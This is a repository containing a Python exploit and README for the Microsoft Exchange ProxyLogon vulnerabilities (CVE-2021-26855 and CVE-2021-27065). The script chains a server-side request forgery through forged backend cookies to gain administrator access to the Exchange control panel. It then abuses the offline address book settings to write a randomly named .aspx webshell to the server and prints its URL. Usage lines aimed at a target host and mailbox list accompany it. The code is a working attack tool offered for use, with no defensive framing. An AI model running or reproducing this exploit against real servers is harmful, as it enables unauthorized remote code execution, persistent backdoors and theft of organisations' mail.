├── ProxyLogon.py
├── README.md
└── gif.gif
/ProxyLogon.py:
--------------------------------------------------------------------------------
1 | # -*- encoding: utf-8 -*-
2 | '''
3 | -------------------------------------------------------
4 | @File : ProxyLogon.py
5 | @Time : 2021/03/13 21:13:01
6 | @Version : 1.0.0
7 | @License :
8 | @Desc :
9 | @Author : p0wershe11, RGDZ
10 | -------------------------------------------------------
11 | '''
12 |
13 |
14 |
15 | from random import Random, randint, random
16 | import re
17 | import string
18 | import sys
19 | import json
20 | import requests
21 | from urllib.parse import urlencode
22 | from struct import unpack
23 | from base64 import b64encode, b64decode
24 |
25 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
26 |
27 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
28 |
29 |
30 | class IOFlow(str):
31 |
32 | def __init__(self) -> None:
33 | super().__init__()
34 | self._cout = sys.stdout
35 |
36 | def _write(self, s:str):
37 | self.cout.write(s)
38 |
39 | def __lshift__(self, s: str)->int:
40 | return self._cout.write(s)
41 |
42 | endl = "\n"
43 | cout = IOFlow()
44 |
45 | class Color:
46 | START = "\033["
47 | END = START+"0m"
48 |
49 |
50 | C_RED = START+"31m"
51 | C_GREEN = START+"32m"
52 | C_YELLOW = START+"33m"
53 | C_BLUE = START+"34m"
54 |
55 | # RANDOM_COLOR = random.choice()
56 |
57 | class Color(Color):
58 | ALL_COLOR = {k:v for k, v in Color.__dict__.items() if "C_" in k}
59 | _COLOR_S = lambda color, s: color+s+Color.END
60 |
61 | class Color(Color):
62 |
63 | RED_S = lambda s: Color._COLOR_S(Color.C_RED, s)
64 | GREEN_S = lambda s: Color._COLOR_S(Color.C_GREEN, s)
65 | YELLOW_S = lambda s: Color._COLOR_S(Color.C_YELLOW, s)
66 | BLUE_S = lambda s: Color._COLOR_S(Color.C_BLUE, s)
67 |
68 | class Log:
69 | BASE_SYM = lambda sym: f"{sym}"
70 | TEMPLATE = lambda sym, msg: cout << f"{sym}:{msg}\n"
71 |
72 | class Log(Log):
73 | INFO_SYM = Log.BASE_SYM(Color.BLUE_S("[*]"))
74 | WARING_SYM = Log.BASE_SYM(Color.YELLOW_S("[!]"))
75 | SUCCESS_SYM = Log.BASE_SYM(Color.GREEN_S("[+]"))
76 |
77 | class Log(Log):
78 | info = lambda msg: Log.TEMPLATE(Log.INFO_SYM, msg)
79 | waring = lambda msg: Log.TEMPLATE(Log.WARING_SYM, msg)
80 | success = lambda msg: Log.TEMPLATE(Log.SUCCESS_SYM, msg)
81 |
82 |
83 | ARGS = [dict(v) for v in [zip(v.split("=")[0::2], v.split("=")[1::2]) for v in sys.argv[1:]]]
84 |
85 |
86 | check_argv = lambda arg: arg in sys.argv
87 |
88 |
89 |
90 | HOST = ""
91 | MAIL = ""
92 | MAILS = ""
93 | LOCAL_NAME = ""
94 |
95 | ascii_letters = string.ascii_letters
96 | SHELL_NAME = "".join(ascii_letters[randint(0, len(ascii_letters)-1)] for i in range(10))
97 | FILE_PATH = f'C:\\inetpub\\wwwroot\\aspnet_client\\{SHELL_NAME}.aspx'
98 | FILE_DATA = ''
99 |
100 |
101 | def _unpack_str(byte_string):
102 | return byte_string.decode('UTF-8').replace('\x00', '')
103 |
104 | def _unpack_int(format, data):
105 | return unpack(format, data)[0]
106 |
107 |
108 | def exploit(path, qs='', data='', cookies=[], headers={}):
109 | global HOST, LOCAL_NAME
110 |
111 | cookies = list(cookies)
112 | cookies.extend([f"X-BEResource=a]@{LOCAL_NAME}:444{path}?{qs}#~1941962753"])
113 | if not headers:
114 | headers = {
115 | 'Content-Type': 'application/json'
116 | }
117 | headers['Cookie'] = ';'.join(cookies)
118 | headers['msExchLogonMailbox'] = 'S-1-5-20'
119 |
120 | url = f"https://{HOST}/ecp/y.js"
121 | resp = requests.post(url, headers=headers, data=data, verify=False, allow_redirects=False)
122 | return resp
123 |
124 | def parse_challenge(auth):
125 | target_info_field = auth[40:48]
126 | target_info_len = _unpack_int('H', target_info_field[0:2])
127 | target_info_offset = _unpack_int('I', target_info_field[4:8])
128 |
129 | target_info_bytes = auth[target_info_offset:target_info_offset+target_info_len]
130 |
131 | domain_name = ''
132 | computer_name = ''
133 | info_offset = 0
134 | while info_offset < len(target_info_bytes):
135 | av_id = _unpack_int('H', target_info_bytes[info_offset:info_offset+2])
136 | av_len = _unpack_int('H', target_info_bytes[info_offset+2:info_offset+4])
137 | av_value = target_info_bytes[info_offset+4:info_offset+4+av_len]
138 |
139 | info_offset = info_offset + 4 + av_len
140 | if av_id == 2: # MsvAvDnsDomainName
141 | domain_name = _unpack_str(av_value)
142 | elif av_id == 3: # MsvAvDnsComputerName
143 | computer_name = _unpack_str(av_value)
144 | return domain_name, computer_name
145 |
146 | def get_local_name():
147 | global LOCAL_NAME
148 | Log.info("Getting ComputerName and DomainName.")
149 | ntlm_type1 = (
150 | b'NTLMSSP\x00' # NTLMSSp Signature
151 | b'\x01\x00\x00\x00' # Message Type
152 | b'\x97\x82\x08\xe2' # Flags
153 | b'\x00\x00\x00\x00\x00\x00\x00\x00' # Domain String
154 | b'\x00\x00\x00\x00\x00\x00\x00\x00' # Workstation String
155 | b'\x0a\x00\xba\x47\x00\x00\x00\x0f' # OS Version
156 | )
157 | headers = {
158 | 'Authorization': f'Negotiate {b64encode(ntlm_type1).decode()}'
159 | }
160 | # print(headers)
161 | # assert False
162 | r = requests.get(f'https://{HOST}/rpc/', headers=headers, verify=False)
163 | assert r.status_code == 401, "Error while getting ComputerName"
164 | auth_header = r.headers['WWW-Authenticate']
165 | auth = re.search('Negotiate ([A-Za-z0-9/+=]+)', auth_header).group(1)
166 | domain_name, computer_name = parse_challenge(b64decode(auth))
167 | if not domain_name:
168 | Log.waring("DomainName not found.")
169 | return exit(0)
170 | if not computer_name:
171 | Log.waring("ComputerName not found")
172 | return exit(0)
173 | Log.info(f"Domain Name = {domain_name}")
174 | Log.info(f"Computer Name = {computer_name}")
175 | LOCAL_NAME = computer_name
176 |
177 |
178 | def get_sid(mail):
179 | payload = f'''
180 |
181 |
182 | {mail}
183 | http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a
184 |
185 |
186 | '''
187 | headers = {
188 | 'User-Agent': 'ExchangeServicesClient/0.0.0.0',
189 | 'Content-Type': 'text/xml'
190 | }
191 | resp = exploit('/autodiscover/autodiscover.xml', qs='', data=payload, headers=headers)
192 | res = re.search('(.*?)', resp.text)
193 | if not res:
194 | Log.waring("LegacyDN not found!")
195 | return
196 |
197 | headers = {
198 | 'X-Clientapplication': 'Outlook/15.0.4815.1002',
199 | 'X-Requestid': 'x',
200 | 'X-Requesttype': 'Connect',
201 | 'Content-Type': 'application/mapi-http',
202 | }
203 | legacyDN = res.group(1)
204 | payload = legacyDN + '\x00\x00\x00\x00\x00\x20\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00'
205 | r = exploit('/mapi/emsmdb/', qs='', data=payload, headers=headers)
206 | result = re.search('with SID ([S\-0-9]+) ', r.text)
207 | if not result:
208 | Log.waring(f"Not Found user: {mail}")
209 | return None
210 | sid = result.group(1)
211 | Log.info(f"sid:{sid}")
212 | if "500" not in sid.split("-"):
213 | Log.waring("500 not in sid.")
214 | sid = "-".join(sid.split("-")[:-1]+["500"])
215 | Log.info(f"add -500, sid:{sid}")
216 | return sid
217 |
218 |
219 |
220 |
221 | def exp(mail_name, sid):
222 | payload = f'{sid}'
223 | resp = exploit('/ecp/proxyLogon.ecp', qs='', data=payload)
224 | Log.waring(f"Login status code:{resp.status_code}")
225 |
226 | session_id = resp.cookies.get('ASP.NET_SessionId')
227 | canary = resp.cookies.get('msExchEcpCanary')
228 | Log.info(f'get ASP.NET_SessionId = {session_id}')
229 | Log.info(f"get msExchEcpCanary = {canary}")
230 |
231 | extra_cookies = [
232 | 'ASP.NET_SessionId='+session_id,
233 | 'msExchEcpCanary='+canary
234 | ]
235 | qs = urlencode({
236 | 'schema': 'OABVirtualDirectory',
237 | 'msExchEcpCanary': canary
238 | })
239 | r = exploit('/ecp/DDI/DDIService.svc/GetObject', qs=qs, data='', cookies=extra_cookies)
240 | identity = r.json()['d']['Output'][0]['Identity']
241 | Log.info(f"OAB Name = f{identity['DisplayName']}")
242 | Log.info(f"OAB ID = {identity['RawIdentity']}")
243 |
244 | # Set-OABVirtualDirectory
245 | Log.info("Setting up webshell payload through OAB")
246 | qs = urlencode({
247 | 'schema': 'OABVirtualDirectory',
248 | 'msExchEcpCanary': canary
249 | })
250 | payload = json.dumps({
251 | 'identity': {
252 | '__type': 'Identity:ECP',
253 | 'DisplayName': identity['DisplayName'],
254 | 'RawIdentity': identity['RawIdentity']
255 | },
256 | 'properties': {
257 | 'Parameters': {
258 | '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
259 | 'ExternalUrl': 'http://f/' + FILE_DATA
260 | }
261 | }
262 | })
263 | r = exploit('/ecp/DDI/DDIService.svc/SetObject', qs=qs, data=payload, cookies=extra_cookies)
264 | assert r.status_code == 200, 'Error while setting up webshell payload'
265 | Log.success("Setting up webshell payload OK!")
266 |
267 | # save file
268 | Log.info("Writing shell...")
269 | qs = urlencode({
270 | 'schema': 'ResetOABVirtualDirectory',
271 | 'msExchEcpCanary': canary
272 | })
273 | payload = json.dumps({
274 | 'identity': {
275 | '__type': 'Identity:ECP',
276 | 'DisplayName': identity['DisplayName'],
277 | 'RawIdentity': identity['RawIdentity']
278 | },
279 | 'properties': {
280 | 'Parameters': {
281 | '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
282 | 'FilePathName': FILE_PATH
283 | }
284 | }
285 | })
286 | resp = exploit('/ecp/DDI/DDIService.svc/SetObject', qs=qs, data=payload, cookies=extra_cookies)
287 | if resp.status_code != 200:
288 | Log.waring(f"Error while writing shell, status code is {resp.status_code}")
289 | return
290 |
291 |
292 | Log.info("Cleaning OAB...")
293 | qs = urlencode({
294 | 'schema': 'OABVirtualDirectory',
295 | 'msExchEcpCanary': canary
296 | })
297 | payload = json.dumps({
298 | 'identity': {
299 | '__type': 'Identity:ECP',
300 | 'DisplayName': identity['DisplayName'],
301 | 'RawIdentity': identity['RawIdentity']
302 | },
303 | 'properties': {
304 | 'Parameters': {
305 | '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
306 | 'ExternalUrl': ''
307 | }
308 | }
309 | })
310 | resp = exploit('/ecp/DDI/DDIService.svc/SetObject', qs=qs, data=payload, cookies=extra_cookies)
311 | Log.info(f"resp:{resp.status_code}")
312 | Log.success(f"shell: https://{HOST}/aspnet_client/{SHELL_NAME}.aspx")
313 |
314 |
315 |
316 | def run(runner):
317 | global HOST, MAILS
318 | f = open(MAILS)
319 | try:
320 | while True:
321 | mail = next(f)[:-1]
322 | return runner(mail)
323 | except:
324 | Log.waring("mails file has been read.")
325 |
326 | def runner(mail):
327 | get_local_name()
328 | sid = get_sid(mail)
329 | if not sid:
330 | return
331 | return exp(mail.split('@')[0], sid)
332 |
333 | def main():
334 | global HOST, MAILS, MAIL, ARGS
335 | args = {}
336 | for v in ARGS:
337 | args.update(v)
338 |
339 | HOST = args.get("--host")
340 | if not HOST:
341 | return help()
342 |
343 | MAIL=args.get("--mail")
344 | if MAIL:
345 | return runner(MAIL)
346 |
347 | MAILS=args.get("--mails")
348 | if MAILS:
349 | return run(runner)
350 |
351 | def help():
352 | cout << f"""usage:
353 | python {__file__} --host=exchange.com --mail=admin@exchange.com
354 | python {__file__} --host=exchange.com --mails=./mails.txt
355 | args:
356 | --host: target's address.
357 | --mail: exists user's mail.
358 | --mails: mails file.
359 | """
360 | cout << endl
361 |
362 | def Logo():
363 | return '''
364 | =============================================================
365 |
366 | ___ _
367 | | . \ _ _ ___ __ _ _ | | ___ ___ ___ ._ _
368 | | _/| '_>/ . \\ \/| | || |_ / . \/ . |/ . \| ' |
369 | |_| |_| \___//\_\`_. ||___|\___/\_. |\___/|_|_|
370 | <___' <___'
371 |
372 | author: p0wershe11,RGDZ
373 | =============================================================
374 | '''
375 |
376 |
377 | if __name__ == "__main__":
378 | cout << Logo()
379 | main()
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ProxyLogon For Python3
2 | ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF->GetWebShell)
3 | ```python
4 | usage:
5 | python ProxyLogon.py --host=exchange.com --mail=admin@exchange.com
6 | python ProxyLogon.py --host=exchange.com --mails=./mails.txt
7 | args:
8 | --host: target's address.
9 | --mail: exists user's mail.
10 | --mails: mails file.
11 | ```
12 |
13 | 
14 |
--------------------------------------------------------------------------------
/gif.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0wershe11/ProxyLogon/7b2fe1efd5860df811215c7518a148a4fc49f7e9/gif.gif
--------------------------------------------------------------------------------